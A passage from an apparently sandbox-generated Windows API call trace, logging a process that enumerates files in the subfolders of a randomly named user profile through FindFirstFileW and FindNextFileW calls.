dwReserved1=0x0, cFileName="skWySyu.bmp", cAlternateFileName="")) returned 1 [0119.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c6f8d0, ftCreationTime.dwHighDateTime=0x1d4c931, ftLastAccessTime.dwLowDateTime=0xbb29a680, ftLastAccessTime.dwHighDateTime=0x1d4c6bb, ftLastWriteTime.dwLowDateTime=0xbb29a680, ftLastWriteTime.dwHighDateTime=0x1d4c6bb, nFileSizeHigh=0x0, nFileSizeLow=0x68ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uA3602jdk4LLtIeK.png", cAlternateFileName="UA3602~1.PNG")) returned 1 [0119.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a223b40, ftCreationTime.dwHighDateTime=0x1d4d4e3, ftLastAccessTime.dwLowDateTime=0xac912470, ftLastAccessTime.dwHighDateTime=0x1d4d437, ftLastWriteTime.dwLowDateTime=0xac912470, ftLastWriteTime.dwHighDateTime=0x1d4d437, nFileSizeHigh=0x0, nFileSizeLow=0x119e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UJnG.jpg", cAlternateFileName="")) returned 1 [0119.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb0309f0, ftCreationTime.dwHighDateTime=0x1d4d526, ftLastAccessTime.dwLowDateTime=0xfeb21e40, ftLastAccessTime.dwHighDateTime=0x1d4c9fa, ftLastWriteTime.dwLowDateTime=0xfeb21e40, ftLastWriteTime.dwHighDateTime=0x1d4c9fa, nFileSizeHigh=0x0, nFileSizeLow=0xf00e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="watBxpzRgOgaq m-.bmp", cAlternateFileName="WATBXP~1.BMP")) returned 1 [0119.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd793b70, ftCreationTime.dwHighDateTime=0x1d4c97e, ftLastAccessTime.dwLowDateTime=0x69dd0ac0, ftLastAccessTime.dwHighDateTime=0x1d4cbb5, ftLastWriteTime.dwLowDateTime=0x69dd0ac0, ftLastWriteTime.dwHighDateTime=0x1d4cbb5, nFileSizeHigh=0x0, nFileSizeLow=0x13f0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YdHbKfRnKrxhFcKFQ.png", cAlternateFileName="YDHBKF~1.PNG")) returned 1 [0119.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1daf1380, ftCreationTime.dwHighDateTime=0x1d4cee6, ftLastAccessTime.dwLowDateTime=0x3f9100e0, ftLastAccessTime.dwHighDateTime=0x1d4d10b, ftLastWriteTime.dwLowDateTime=0x3f9100e0, ftLastWriteTime.dwHighDateTime=0x1d4d10b, nFileSizeHigh=0x0, nFileSizeLow=0x1285e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y_z1 i4Ltt8.jpg", cAlternateFileName="Y_Z1I4~1.JPG")) returned 1 [0119.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f88080, ftCreationTime.dwHighDateTime=0x1d4cee9, ftLastAccessTime.dwLowDateTime=0xc6ba8440, ftLastAccessTime.dwHighDateTime=0x1d4cff0, ftLastWriteTime.dwLowDateTime=0xc6ba8440, ftLastWriteTime.dwHighDateTime=0x1d4cff0, nFileSizeHigh=0x0, nFileSizeLow=0x8dcc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zJRA8eKdBctBG.png", cAlternateFileName="ZJRA8E~1.PNG")) returned 1 [0119.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5d6590, ftCreationTime.dwHighDateTime=0x1d4cb1c, ftLastAccessTime.dwLowDateTime=0xdf8b1890, ftLastAccessTime.dwHighDateTime=0x1d4d090, ftLastWriteTime.dwLowDateTime=0xdf8b1890, ftLastWriteTime.dwHighDateTime=0x1d4d090, nFileSizeHigh=0x0, nFileSizeLow=0x526a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="znNdKX_AXzU74PLmUWg.bmp", cAlternateFileName="ZNNDKX~1.BMP")) returned 1 [0119.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5d6590, ftCreationTime.dwHighDateTime=0x1d4cb1c, ftLastAccessTime.dwLowDateTime=0xdf8b1890, ftLastAccessTime.dwHighDateTime=0x1d4d090, ftLastWriteTime.dwLowDateTime=0xdf8b1890, ftLastWriteTime.dwHighDateTime=0x1d4d090, nFileSizeHigh=0x0, nFileSizeLow=0x526a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="znNdKX_AXzU74PLmUWg.bmp", cAlternateFileName="ZNNDKX~1.BMP")) returned 0 [0119.774] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.774] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.774] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.774] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.774] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0119.775] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.775] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.775] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.775] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.775] PathFindFileNameW (pszPath="") returned="" [0119.775] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5d6590, ftCreationTime.dwHighDateTime=0x1d4cb1c, ftLastAccessTime.dwLowDateTime=0xdf8b1890, ftLastAccessTime.dwHighDateTime=0x1d4d090, ftLastWriteTime.dwLowDateTime=0xdf8b1890, ftLastWriteTime.dwHighDateTime=0x1d4d090, nFileSizeHigh=0x0, nFileSizeLow=0x526a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="znNdKX_AXzU74PLmUWg.bmp", cAlternateFileName="ZNNDKX~1.BMP")) returned 0xffffffff [0119.775] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0119.775] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.775] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.775] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.775] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0119.775] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.775] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.775] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.775] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.775] PathFindFileNameW (pszPath="") returned="" [0119.775] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5d6590, ftCreationTime.dwHighDateTime=0x1d4cb1c, ftLastAccessTime.dwLowDateTime=0xdf8b1890, ftLastAccessTime.dwHighDateTime=0x1d4d090, ftLastWriteTime.dwLowDateTime=0xdf8b1890, ftLastWriteTime.dwHighDateTime=0x1d4d090, nFileSizeHigh=0x0, nFileSizeLow=0x526a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="znNdKX_AXzU74PLmUWg.bmp", cAlternateFileName="ZNNDKX~1.BMP")) returned 0xffffffff [0119.775] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde690 | out: hHeap=0x5e0000) returned 1 [0119.775] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.775] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.775] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.775] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0119.776] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.776] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.776] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.776] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.776] PathFindFileNameW (pszPath="") returned="" [0119.776] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.776] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0119.776] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.776] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.776] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0119.776] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.776] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.776] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.776] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.776] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0119.776] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.776] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.776] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.776] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.776] PathFindFileNameW (pszPath="") returned="" [0119.777] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.777] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.777] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.777] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.777] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0119.777] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0119.777] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0119.777] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.777] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.777] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.777] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.777] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0119.777] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.777] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.777] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.777] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.777] PathFindFileNameW (pszPath="") returned="" [0119.777] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0119.777] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde690 | out: hHeap=0x5e0000) returned 1 [0119.777] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.777] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.778] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0119.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.778] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.778] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.778] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.778] PathFindFileNameW (pszPath="") returned="" [0119.778] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0119.778] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0119.778] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.778] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.778] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0119.778] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.778] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.778] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.778] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.778] PathFindFileNameW (pszPath="") returned="" [0119.778] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0119.778] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0119.778] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.778] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.779] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.779] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0119.779] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.779] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.779] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.779] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.779] PathFindFileNameW (pszPath="") returned="" [0119.779] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda04ed0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbda04ed0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.779] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde690 | out: hHeap=0x5e0000) returned 1 [0119.779] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda04ed0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbda04ed0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.779] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8c7870, ftCreationTime.dwHighDateTime=0x1d4cb2c, ftLastAccessTime.dwLowDateTime=0x52fca60, ftLastAccessTime.dwHighDateTime=0x1d4cb4f, ftLastWriteTime.dwLowDateTime=0x52fca60, ftLastWriteTime.dwHighDateTime=0x1d4cb4f, nFileSizeHigh=0x0, nFileSizeLow=0x11869, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0g5wGPdK.flv", cAlternateFileName="")) returned 1 [0119.779] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x108d5720, ftCreationTime.dwHighDateTime=0x1d4d508, ftLastAccessTime.dwLowDateTime=0x6ef280c0, ftLastAccessTime.dwHighDateTime=0x1d4d35e, ftLastWriteTime.dwLowDateTime=0x6ef280c0, ftLastWriteTime.dwHighDateTime=0x1d4d35e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3RmBDGRm1", cAlternateFileName="3RMBDG~1")) returned 1 [0119.779] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc46e8dc0, ftCreationTime.dwHighDateTime=0x1d4ca24, ftLastAccessTime.dwLowDateTime=0x1c1c7ae0, ftLastAccessTime.dwHighDateTime=0x1d4d3ef, ftLastWriteTime.dwLowDateTime=0x1c1c7ae0, ftLastWriteTime.dwHighDateTime=0x1d4d3ef, nFileSizeHigh=0x0, nFileSizeLow=0xdc4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="81m98bb.mp4", cAlternateFileName="")) returned 1 [0119.779] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ad56a30, ftCreationTime.dwHighDateTime=0x1d4d06c, ftLastAccessTime.dwLowDateTime=0xc9503110, ftLastAccessTime.dwHighDateTime=0x1d4ccc0, ftLastWriteTime.dwLowDateTime=0xc9503110, ftLastWriteTime.dwHighDateTime=0x1d4ccc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C1rxOBMk76mToWuy0Nfm", cAlternateFileName="C1RXOB~1")) 